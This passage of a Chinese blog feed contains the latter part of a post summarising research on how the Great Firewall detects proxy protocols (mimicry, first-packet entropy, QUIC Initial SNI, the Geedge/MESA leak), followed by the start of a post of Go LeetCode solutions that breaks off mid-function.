&lt;h2&gt;rere: 细节&lt;/h2&gt;
&lt;p&gt;再往后,大家当然也会想：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;干脆装成别的协议行不行？&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;装成 &lt;code&gt;HTTP&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;装成 &lt;code&gt;Skype&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;装成“一个普通网站”&lt;/p&gt;
&lt;p&gt;甚至干脆装成随机噪声&lt;/p&gt;
&lt;p&gt;这个思路当年非常自然,问题在于,协议伪装这件事真做起来很难
2013年的&lt;code&gt;The Parrot is Dead: Observing Unobservable Network Communications&lt;/code&gt;这篇论文主要击穿了“模仿某个白名单协议即可隐身”的假设：抗审查系统若仅复制报文格式,而无法完整复制目标协议在状态机、错误处理、边界条件和双端协同行为上的语义细节,仍会被识别
&lt;a href=&quot;https://dedis.cs.yale.edu/dissent/papers/parrot-abs/&quot;&gt;The Parrot is Dead&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;但我们可以先看看parrot系统&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;flowchart TD
    subgraph Parrot系统
      A[SkypeMorph]
      B[StegoTorus]
      C[CensorSpoofer]
    end

    subgraph 模仿目标协议
      Skype[Skype VoIP Protocol]
      HTTP[HTTP/Web Protocol]
      SIP[标准 VoIP SIP + RTP]
    end
    
    A --&amp;gt;|模仿 Skype 视频流量| Skype
    B --&amp;gt;|Embed 模式模仿 Skype VoIP| Skype
    B --&amp;gt;|HTTP 模式模仿 HTTP 请求/响应| HTTP
    C --&amp;gt;|模仿 SIP / RTP VoIP 流量| SIP
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;那parrot如何死的&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sequenceDiagram
    autonumber
    participant U as 用户(混淆客户端)
    participant O as 观察者/审查者
    participant S as 伪装服务端
    participant P as 目标协议真实生态

    U-&amp;gt;&amp;gt;S: 发送“看起来像目标协议”的初始流量
    O-&amp;gt;&amp;gt;O: 先做被动比对（字段/长度/方向/时序）

    Note over O,P: 对照真实生态分布与实现习惯
    O-&amp;gt;&amp;gt;O: 发现语义层不一致

    O-&amp;gt;&amp;gt;S: 主动探测（异常输入/边界序列）
    S--&amp;gt;&amp;gt;O: 返回与真实协议栈不同的响应模式

    O-&amp;gt;&amp;gt;O: 提升置信度：这是伪装通道
    O--&amp;gt;&amp;gt;U: 阻断/限速/标记该通道
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;字段顺序、错误处理、边界条件、重传习惯、时序、分片、客户端和服务端配套行为,这些都得像&lt;/p&gt;
&lt;p&gt;2015 年的 &lt;code&gt;Seeing through Network-Protocol Obfuscation&lt;/code&gt; 又把这个问题往前推了一截
&lt;a href=&quot;https://pages.cs.wisc.edu/~akella/papers/ccsfp653-wangA.pdf&quot;&gt;Seeing through Network-Protocol Obfuscation&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;作者把各种混淆协议丢进更真实的流量背景里去测,最后得到的感觉很统一：&lt;/p&gt;
&lt;p&gt;你以为自己在“看起来像别人”&lt;/p&gt;
&lt;p&gt;系统眼里更像“长得像,行为有点歪”&lt;/p&gt;
&lt;p&gt;so,审查点慢慢从“抓某个固定明文特征”转向：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;实现&lt;/li&gt;
&lt;li&gt;时序&lt;/li&gt;
&lt;li&gt;错误输入时返回结果&lt;/li&gt;
&lt;li&gt;被动观察和主动探测是否出问题&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;抗审查系统的难点不再只是“把字节伪装得像”,而是“把整个通信过程伪装得像”。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;flowchart LR
  A[明文特征]--&amp;gt;B[TLS混淆]--&amp;gt;C[协议拟态]--&amp;gt;D[语义破绽]--&amp;gt;E[统计识别]--&amp;gt;F[分布对齐]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这使得对抗重心从“协议拟态”转向“分布拟态”：不仅要像某个协议,还要长期稳定地落在真实生态流量分布里,并在被动观察与主动探测下都不露馅&lt;/p&gt;
&lt;h2&gt;rerere: 首包变黑&lt;/h2&gt;
&lt;p&gt;再后来,事情会继续往一个方向卷：&lt;strong&gt;让第一个包尽量别说人话&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Shadowsocks&lt;/code&gt;、&lt;code&gt;VMess&lt;/code&gt;、&lt;code&gt;Obfs4&lt;/code&gt; 这一类东西给人的第一印象就是黑。&lt;/p&gt;
&lt;p&gt;首包更像随机数,字段不再像老老实实的应用层协议,很多显式特征被压下去了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sequenceDiagram
    participant C as 客户端
    participant S as Shadowsocks服务器
    participant W as 目标网站

    Note over C,S: 1) 先建立 TCP 连接（到 SS 服务器）
    C-&amp;gt;&amp;gt;S: TCP SYN / ACK

    Note over C,S: 2) 客户端首包即加密发送（含目标地址信息）
    C-&amp;gt;&amp;gt;S: [加密] 目标地址/端口 + 首段业务数据
    Note right of S: 服务端解密后\n拿到真实目标

    Note over S,W: 3) 服务端代为连接目标网站
    S-&amp;gt;&amp;gt;W: 建立到目标站的 TCP/TLS 连接
    W--&amp;gt;&amp;gt;S: 返回响应数据

    Note over S,C: 4) 回程数据再加密回传
    S--&amp;gt;&amp;gt;C: [加密] 响应数据
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;看起来很安全对吧&lt;/p&gt;
&lt;p&gt;可这一步把另一个问题放大了：&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;黑&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;什么黑,五彩斑斓的黑吗&lt;/p&gt;
&lt;p&gt;在普通互联网里,大量正常协议哪怕已经加密,开头仍旧会留下很多“像正常业务”的痕迹&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;TLS&lt;/code&gt; 会有自己的握手结构&lt;/li&gt;
&lt;li&gt;&lt;code&gt;HTTP&lt;/code&gt; 会留下可打印字符&lt;/li&gt;
&lt;li&gt;一部分 App 会有稳定的长度模式&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;而 fully encrypted first packet 往往更像“一坨高熵东西”,这反而能进候选集&lt;/p&gt;
&lt;p&gt;:::note
Shannon entropy（香农熵）可用于衡量首包字节分布的“随机性”&lt;/p&gt;
&lt;p&gt;设首包字节序列为 $X$,长度为 $N$,字节取值范围为 $0..255$,对每个字节值 $b$,&lt;/p&gt;
&lt;p&gt;其出现频率为 $p_b=\frac{count(b)}{N}$,&lt;/p&gt;
&lt;p&gt;熵定义为 $H(X)=-\sum_{b=0}^{255}p_b\log_2 p_b$&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;单位：bits/byte&lt;/li&gt;
&lt;li&gt;取值范围：0 到 8
&lt;ul&gt;
&lt;li&gt;越接近 8：字节分布越接近随机（高熵）&lt;/li&gt;
&lt;li&gt;越接近 0：分布越集中、结构性越强（低熵）&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;在流量分析里,熵通常与首包长度、方向和时序等特征一起使用,而不是单独作为判定条件
:::&lt;/p&gt;
&lt;p&gt;2020 年关于 &lt;code&gt;Shadowsocks&lt;/code&gt; 的 IMC 论文把这个阶段拆得很细。&lt;br /&gt;
&lt;a href=&quot;https://gfw.report/publications/imc20/en/&quot;&gt;How China Detects and Blocks Shadowsocks&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;研究者观察到：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;系统会先根据首包长度和熵去圈疑似目标&lt;/li&gt;
&lt;li&gt;然后再对服务器发多类主动探针&lt;/li&gt;
&lt;li&gt;探针命中之后,封锁才跟上来&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;到这里你会发现一件很妙的事：&lt;/p&gt;
&lt;p&gt;协议设计者在努力把明文特征压下去&lt;/p&gt;
&lt;p&gt;审查系统就在努力把“高熵首包本身”变成特征&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sequenceDiagram
    participant U as 用户
    participant G as 检测系统
    participant S as 疑似SS服务器

    U-&amp;gt;&amp;gt;S: 发起连接（首包高熵/特征异常）
    G-&amp;gt;&amp;gt;G: 被动阶段：长度+熵等特征打分
    alt 分数低
        G-&amp;gt;&amp;gt;G: 暂不处理/持续观察
    else 分数高
        G-&amp;gt;&amp;gt;S: 主动探针A/B/C
        S--&amp;gt;&amp;gt;G: 返回响应（或超时/异常）
        G-&amp;gt;&amp;gt;G: 规则匹配与置信度更新
        alt 命中
            G--&amp;gt;&amp;gt;U: 对该IP:Port实施封锁/干扰
        else 未命中
            G-&amp;gt;&amp;gt;G: 降级处理
        end
    end
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;接着时间来到 &lt;strong&gt;2021 年 11 月 6 日&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;USENIX Security 2023 那篇论文测到,GFW 开始对多类 fully encrypted traffic 做纯被动实时封锁,影响到 &lt;code&gt;Shadowsocks&lt;/code&gt;、&lt;code&gt;VMess&lt;/code&gt;、&lt;code&gt;Obfs4&lt;/code&gt; 等协议。&lt;br /&gt;
&lt;a href=&quot;https://gfw.report/publications/usenixsecurity23/en&quot;&gt;USENIX Security 2023&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;最有意思的点在于它的思路：&lt;strong&gt;把正常流量尽量放走,把剩下那撮很黑、又不太像常见协议的东西留下&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;论文总结出来的几条规则很有味道：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;前几个字节如果像 &lt;code&gt;HTTP / TLS&lt;/code&gt;,那就放行&lt;/li&gt;
&lt;li&gt;可打印字符很多,放行&lt;/li&gt;
&lt;li&gt;长段连续 printable,放行&lt;/li&gt;
&lt;li&gt;bit 分布很怪,像正常文本或正常协议,放行&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;剩下那些既黑、又不像常见握手、又不在豁免里的首包,就危险了&lt;/p&gt;
&lt;p&gt;这一步非常值得思考&lt;/p&gt;
&lt;p&gt;因为它说明了一个现实：全加密没有让问题消失,它只是把视线推到了更靠前的地方&lt;/p&gt;
&lt;h2&gt;rererere: QUIC&lt;/h2&gt;
&lt;p&gt;很多人看到 &lt;code&gt;QUIC&lt;/code&gt; 会有一个错觉：&lt;/p&gt;
&lt;p&gt;基于 &lt;code&gt;UDP&lt;/code&gt;,握手更新,&lt;code&gt;HTTP/3&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;看起来更现代,也更难摸&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sequenceDiagram
    autonumber
    participant C as 客户端
    participant S as 服务器

    Note over C,S: 基于 UDP,握手与传输层安全协同
    C-&amp;gt;&amp;gt;S: QUIC Initial (CRYPTO: ClientHello, DCID, 参数)
    S--&amp;gt;&amp;gt;C: QUIC Initial (CRYPTO: ServerHello...)
    S--&amp;gt;&amp;gt;C: Handshake (证书/握手消息)
    C-&amp;gt;&amp;gt;S: Handshake (Finished)
    S--&amp;gt;&amp;gt;C: 1-RTT Keys Ready
    C-&amp;gt;&amp;gt;S: 1-RTT Application Data (HTTP/3)
    S--&amp;gt;&amp;gt;C: 1-RTT Application Data (HTTP/3)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;事情没有这么轻松
&lt;a href=&quot;https://gfw.report/publications/usenixsecurity25/en/&quot;&gt;China&apos;s Great Firewall is now blocking QUIC with the SNI field&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;研究者观测到,从 &lt;strong&gt;2024 年 4 月 7 日&lt;/strong&gt; 开始,GFW 已经能解出 &lt;code&gt;QUIC Initial&lt;/code&gt; 里封装的 &lt;code&gt;TLS ClientHello&lt;/code&gt;,再根据里面的 &lt;code&gt;SNI&lt;/code&gt; 去做封锁&lt;/p&gt;
&lt;p&gt;这件事听起来像“QUIC 被拆了”,实际原因写在 &lt;code&gt;RFC 9001&lt;/code&gt; 里
&lt;a href=&quot;https://datatracker.ietf.org/doc/html/rfc9001&quot;&gt;RFC 9001&lt;/a&gt;
RFC 9001 定义的是“QUIC 如何使用 TLS 1.3”,按其设计,QUIC Initial 并不提供对路径观察者的强机密性；其密钥材料可由链路上可见参数推导,因此 Initial 中封装的 TLS ClientHello 可被恢复并用于策略匹配,而真正的强保密发生在后续 Handshake/1-RTT 阶段&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;flowchart LR
    A[Initial 阶段] --&amp;gt; A1[密钥来源: 初始盐 + DCID&amp;lt;br/&amp;gt;路径可见参数可推导]
    A1 --&amp;gt; A2[可恢复: TLS ClientHello 结构/SNI 等信号]
    A2 --&amp;gt; A3[用途: 早期策略匹配/筛选]

    A --&amp;gt; B[Handshake 阶段]
    B --&amp;gt; B1[握手后续密钥建立]
    B1 --&amp;gt; B2[保密性提升]

    B --&amp;gt; C[1-RTT 阶段]
    C --&amp;gt; C1[应用数据传输]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;Initial&lt;/code&gt; 阶段使用的密钥本来就能由路径观察者推导&lt;/p&gt;
&lt;p&gt;于是协议一换,审查点也更新：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;以前盯 &lt;code&gt;TCP&lt;/code&gt; 首包&lt;/li&gt;
&lt;li&gt;现在盯 &lt;code&gt;QUIC Initial&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;以前看应用层明文&lt;/li&gt;
&lt;li&gt;现在看加密握手前半段里仍可恢复出来的结构&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;rerererere: 产品和人&lt;/h2&gt;
&lt;p&gt;如果只看学术论文,故事讲到 &lt;code&gt;Tor -&amp;gt; 混淆 -&amp;gt; fully encrypted -&amp;gt; QUIC&lt;/code&gt; 这里,已经够完整了&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Geedge / MESA leak&lt;/code&gt; 之所以很有冲击力,是因为它把“论文里测出来的现象”往“真实产品栈可能怎么做”推了一大步
&lt;a href=&quot;https://gfw.report/blog/geedge_and_mesa_leak/zh/&quot;&gt;GFW Report 中文分析&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://interseclab.org/research/the-internet-coup/&quot;&gt;InterSecLab 报告&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;:::warning
理性看待,仅学术分析
:::&lt;/p&gt;
&lt;h3&gt;1. 检测对象开始从“协议”变成“产品”&lt;/h3&gt;
&lt;p&gt;泄漏分析里提到 &lt;code&gt;AppSketch&lt;/code&gt; 指纹库,提到买 VPN 账号、养带 VPN App 移动设备、做静态逆向和动态流量分析&lt;/p&gt;
&lt;p&gt;我们的审查对象中还有：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;某款 App 的握手习惯&lt;/li&gt;
&lt;li&gt;某家服务商的证书与 &lt;code&gt;JA3 / JA4&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;某种客户端和服务端组合出来的行为特征&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;2. 确认结果会被沉淀成长期资产&lt;/h3&gt;
&lt;p&gt;泄漏里出现的 &lt;code&gt;Maat&lt;/code&gt;、&lt;code&gt;SAPP&lt;/code&gt;、&lt;code&gt;Stellar&lt;/code&gt; 这些组件,看起来都更像平台层&lt;/p&gt;
&lt;p&gt;也就是说,命中过的样本、写下来的规则、同步出去的指纹,并不会随着一次封锁结束就散掉&lt;/p&gt;
&lt;p&gt;它们会留下来&lt;/p&gt;
&lt;p&gt;然后下一次处理得更快&lt;/p&gt;
&lt;h3&gt;3. 认人&lt;/h3&gt;
&lt;p&gt;GFW Report 对泄漏材料的分析里有个点非常扎眼：&lt;/p&gt;
&lt;p&gt;某些系统已经能把流量往用户身份上归因,甚至把某个体标成“已知 VPN 用户”&lt;/p&gt;
&lt;p&gt;何意味
意味何&lt;/p&gt;
&lt;p&gt;意味着链条方向开始反过来了&lt;/p&gt;
&lt;p&gt;早一点的时候,大家更熟悉的是：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;先发现服务器,再去看谁连它&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;现在逐渐能想象的是：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;先盯住高风险用户,再沿着他的后续连接去捞新的服务器、新的服务商、新的产品&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;于是后面的研究也开始往图分析、关系建模、行为聚类上走
&lt;a href=&quot;https://openreview.net/forum?id=tnljBcXhmz&quot;&gt;Identifying VPN Servers through Graph-Represented Behaviors&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;so why&lt;/h2&gt;
&lt;p&gt;写到这边,答案其实已经很明显了&lt;/p&gt;
&lt;p&gt;代理流量会被检测出来
更接近下面这件事：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;代理为了真的可用,必须在网络上留下很多稳定结构。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;比如：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;它得存在于某个端点上&lt;/li&gt;
&lt;li&gt;它得握手&lt;/li&gt;
&lt;li&gt;它得兼容客户端&lt;/li&gt;
&lt;li&gt;它得对错误输入有反应&lt;/li&gt;
&lt;li&gt;它得维持某种稳定时序&lt;/li&gt;
&lt;li&gt;它得被用户持续使用&lt;/li&gt;
&lt;li&gt;它得在一段时间里反复出现&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;要服务,就得稳定&lt;/p&gt;
&lt;p&gt;一稳定,指纹就有了&lt;/p&gt;
&lt;p&gt;于是整个演进过程读下来,会有一种很强的感觉：&lt;strong&gt;payload 越往后缩,审查点就越往前挪&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;从端点,到握手,到首包,到 &lt;code&gt;Initial&lt;/code&gt;,再到产品画像和用户画像,线路一直在变,枪口也一直在变&lt;/p&gt;
&lt;h2&gt;ending&lt;/h2&gt;
&lt;p&gt;说到最后,我们只是以学习态度进行分析&lt;/p&gt;
&lt;p&gt;当然s3不能保证所有内容覆盖到&lt;/p&gt;
&lt;p&gt;谢谢喵,谢谢喵&lt;/p&gt;
</content:encoded><author>s3loy</author></item><item><title>Hot 100</title><link>https://blog.s3loy.tech/posts/hot-100</link><guid isPermaLink="true">https://blog.s3loy.tech/posts/hot-100</guid><pubDate>Tue, 14 Apr 2026 06:00:00 GMT</pubDate><content:encoded>&lt;p&gt;梦开始的地方&lt;/p&gt;
&lt;h2&gt;哈希&lt;/h2&gt;
&lt;h3&gt;1. 两数之和&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://leetcode.cn/problems/two-sum/&quot;&gt;两数之和&lt;/a&gt;&lt;/p&gt;
&lt;h4&gt;暴力枚举&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;func twoSum(nums []int, target int) []int {
  left := 0
  for left &amp;lt; len(nums) {
    right := left + 1
    for right &amp;lt; len(nums) {
      if nums[left] + nums[right] == target {
        return []int{left, right}
      }
      right++
    }
    left++
  }
  return []int{}
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;哈希表&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;func twoSum(nums []int, target int) []int {
  hashMap := make(map[int]int)
  for i := 0; i &amp;lt; len(nums); i++ {
    wanted := target - nums[i]
    if index, ok := hashMap[wanted]; ok {
      return []int{index, i}
    }
    hashMap[nums[i]] = i
  }
  return nil
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;49. 字母异位词分组&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://leetcode.cn/problems/group-anagrams/&quot;&gt;字母异位词分组&lt;/a&gt;&lt;/p&gt;
&lt;h4&gt;排序 哈希表&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;func groupAnagrams(strs []string) [][]string {
  var ans [][]string
  hashMap := make(map[string][]string)

  for _, str := range strs {
    s := []byte(str)
    sort.Slice(s, func(i, j int) bool { return s[i] &amp;lt; s[j] })
    sortedStr := string(s)
    hashMap[sortedStr] = append(hashMap[sortedStr], str)

  }
  for _, part := range hashMap {
    ans = append(ans, part)
  }
  return ans
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;存字母计数向量&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;func groupAnagrams(strs []string) [][]string {
  hashMap := make(map[[26]int][]string)
  for _, str := range strs {
    cnt := [26]int{}
    for _, b := range str {
      cnt[b-&apos;a&apos;]++
    }
    hashMap[cnt] = append(hashMap[cnt], str)
  }
  var ans [][]string
  for _, v := range hashMap {
    ans = append(ans, v)
  }
  return ans
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;128. 最长连续序列&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://leetcode.cn/problems/longest-consecutive-sequence/&quot;&gt;最长连续序列&lt;/a&gt;&lt;/p&gt;
&lt;h4&gt;排序&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;func longestConsecutive(nums []int) int {
  sort.Slice(nums, func(i, j int) bool { return nums[i] &amp;lt; nums[j] })
  cur := 1
   maxNum := 1
   if len(nums) == 0 {
    return 0
  }
  if len(nums) == 1 {
    return 1
  }

  pre := nums[0]
  for i := 1; i &amp;lt; len(nums); i++ {
    if nums[i] == pre {
      continue
    }
    if nums[i] == pre + 1 {
      cur++
    } else if nums[i] &amp;gt; pre + 1 {
      maxNum = max(cur, maxNum)
      cur = 1
    }
    pre = nums[i]
  }
  return max(maxNum, cur)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;官方题解没给排序,结果排序更快且内存更少,那是何意味&lt;/p&gt;
&lt;h4&gt;哈希表去重&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;func longestConsecutive(nums []int) int {
  numSet := make(map[int]bool)
  for _, num := range nums {
    numSet[num] = true
  }
  longestStreak := 0
  for num := range numSet {
    if !numSet[num - 1] {
      currentNum := num
      currentStreak := 1
      for numSet[currentNum + 1] {
        currentNum++
        currentStreak++
      }
      if longestStreak &amp;lt; currentStreak {
        longestStreak = currentStreak
      }
    }
  }
  return longestStreak
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;双指针&lt;/h2&gt;
&lt;h3&gt;283. 移动零&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://leetcode.cn/problems/move-zeroes/&quot;&gt;移动零&lt;/a&gt;&lt;/p&gt;
&lt;h4&gt;双指针交换&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;func moveZeroes(nums []int) {
  left := 0

  for right := 0; right &amp;lt; len(nums); right++ {
    if nums[right] != 0 {
      nums[left], nums[right] = nums[right], nums[left]
      left++
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;11. 盛最多水的容器&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://leetcode.cn/problems/container-with-most-water/&quot;&gt;盛最多水的容器&lt;/a&gt;&lt;/p&gt;
&lt;h4&gt;双指针+贪心&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;func maxArea(height []int) int {
  left, right := 0, len(height) - 1
  var s, ans int
  for left &amp;lt; right {
    s = (right - left)*min(height[left], height[right])
    if s &amp;gt; ans {
      ans = s
    }
    if height[left] &amp;gt;= height[right] {
      right--
    } else {
      left++
    }
  }
  return ans
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;15. 三数之和&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://leetcode.cn/problems/3sum/&quot;&gt;三数之和&lt;/a&gt;&lt;/p&gt;
&lt;h4&gt;定1双指针另外两个&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;func threeSum(nums []int) [][]int {
  var ans [][]int
  sort.Slice(nums, func(i, j int) bool { return nums[i] &amp;lt;= nums[j] })
  for i := 0; i &amp;lt; len(nums)-2; i++ {
    if i &amp;gt; 0 &amp;amp;&amp;amp; nums[i - 1] == nums[i] {
      continue
    }
    x := nums[i]
    left := i + 1
    right := len(nums) - 1
    
    for left &amp;lt; right {
      y := nums[left] + nums[right]
      if y + x == 0 {
        ans = append(ans, []int{x, nums[left], nums[right]})
        for nums[right] == nums[right - 1] &amp;amp;&amp;amp; left &amp;lt; right {
          right--
        }
        for nums[left] == nums[left + 1] &amp;amp;&amp;amp; left &amp;lt; right {
          left++
        }
        left++
        right--
      } else if y + x &amp;gt; 0 {
        right--
      } else if y + x &amp;lt; 0 {
        left++
      } 
    }
  }
  return ans
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以稍微优化一点&lt;/p&gt;
&lt;h4&gt;+剪枝+语法优化&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;func threeSum(nums []int) [][]int {
  slices.Sort(nums)
  length := len(nums)
  ans := make([][]int, 0)
  for i, num := range nums {
    if num &amp;gt; 0 {
      break
    }
    if i &amp;gt; 0 &amp;amp;&amp;amp; nums[i - 1] == num {
      continue
    }
    target := -num
    left, right := i + 1, length - 1
    for left &amp;lt; right {
      sum := nums[left] + nums[right]
      if sum &amp;gt; target {
        right--
      } else if sum &amp;lt; target {
        left++
      } else {
        for left &amp;lt; right &amp;amp;&amp;amp; nums[left] == nums[left + 1] {
          left++
        }
        for left &amp;lt; right &amp;amp;&amp;amp; nums[right] == nums[right - 1] {
          right--
        }
        ans = append(ans, []int{num, nums[left], nums[right]})
        left++
        right--
      }
    }
  }
  return ans
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;slices.Sort&lt;/code&gt;相比&lt;code&gt;sort.Slice&lt;/code&gt;
前者为泛型排序，不用闭包性能更好&lt;/p&gt;
&lt;h4&gt;nSum&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;func nSum(nums []int, n int, start int, target int) [][]int {
  res := [][]int{}
  length := len(nums)

  if n &amp;lt; 2 || length-start &amp;lt; n {
    return res
  }

  if n == 2 {
    left, right := start, length-1
    for left &amp;lt; right {
      sum := nums[left] + nums[right]
      if sum == target {
        res = append(res, []int{nums[left], nums[right]})

        for left &amp;lt; right &amp;amp;&amp;amp; nums[left] == nums[left+1] {
          left++
        }
        for left &amp;lt; right &amp;amp;&amp;amp; nums[right] == nums[right-1] {
          right--
        }

        left++
        right--
      } else if sum &amp;lt; target {
        left++
      } else {
        right--
      }
    }
    return res
  }

  for i := start; i &amp;lt; length; i++ {
    if i &amp;gt; start &amp;amp;&amp;amp; nums[i] == nums[i-1] {
      continue
    }

    if nums[i]*n &amp;gt; target {
      break
    }

    if nums[length-1]*n &amp;lt; target {
      break
    }

    sub := nSum(nums, n-1, i+1, target-nums[i])

    for _, arr := range sub {
      res = append(res, append([]int{nums[i]}, arr...))
    }
  }

  return res
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;42. 接雨水&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://leetcode.cn/problems/trapping-rain-water/&quot;&gt;接雨水&lt;/a&gt;&lt;/p&gt;
&lt;h4&gt;长官我只会双指针&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;func trap(height []int) int {
  l := len(height)
  left := 0
  right := l - 1
  leftMax := 0
  rightMax := 0
  ans := 0

  for left &amp;lt; right {
    leftMax = max(leftMax, height[left])
    rightMax = max(rightMax, height[right])
    if height[left] &amp;lt; height[right] {
      ans += leftMax - height[left]
      left++
    } else {
      ans += rightMax - height[right]
      right--
    }
  }
  return ans
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;滑动窗口&lt;/h2&gt;
&lt;h3&gt;3. 无重复字符的最长子串&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://leetcode.cn/problems/longest-substring-without-repeating-characters/&quot;&gt;无重复字符的最长子串&lt;/a&gt;&lt;/p&gt;
&lt;h4&gt;哈希+滑动窗口&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;func lengthOfLongestSubstring(s string) int {
  hashMap := make(map[byte]bool)
  left := 0
  maxLen := 0

  for right := 0; right &amp;lt; len(s); right++ {
    for hashMap[s[right]] {
      delete(hashMap, s[left])
      left++
    }
    hashMap[s[right]] = true
    if right - left + 1 &amp;gt; maxLen {
      maxLen = right - left + 1
    }
  }
  return maxLen
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;4ms&lt;/p&gt;
&lt;h4&gt;+写法优化&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;func lengthOfLongestSubstring(s string) int {
  res, left := 0, 0
  cnt := [128]int{}
  for right := 0; right &amp;lt; len(s); right++ {
    cnt[s[right]]++
    for cnt[s[right]] &amp;gt;= 2 {
      cnt[s[left]]--
      left++
    }
    res = max(res, right-left+1)
  }
  return res
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;0ms&lt;/p&gt;
&lt;h3&gt;438. 找到字符串中所有字母异位词&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://leetcode.cn/problems/find-all-anagrams-in-a-string/&quot;&gt;找到字符串中所有字母异位词&lt;/a&gt;&lt;/p&gt;
&lt;h4&gt;定长窗口 26字母&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;func findAnagrams(s string, p string) []int {
  sLen, pLen := len(s), len(p)
  if sLen &amp;lt; pLen {
    return []int{}
  }
  ans := []int{}
  var sCount, pCount [26]int
  for i, ch := range p {
    sCount[s[i]-&apos;a&apos;]++
    pCount[ch-&apos;a&apos;]++
  }
  if pCount == sCount {
    ans = append(ans, 0)
  }

  for i, ch := range s[:sLen - pLen] {
    sCount[ch-&apos;a&apos;]--
    sCount[s[i+pLen]-&apos;a&apos;]++
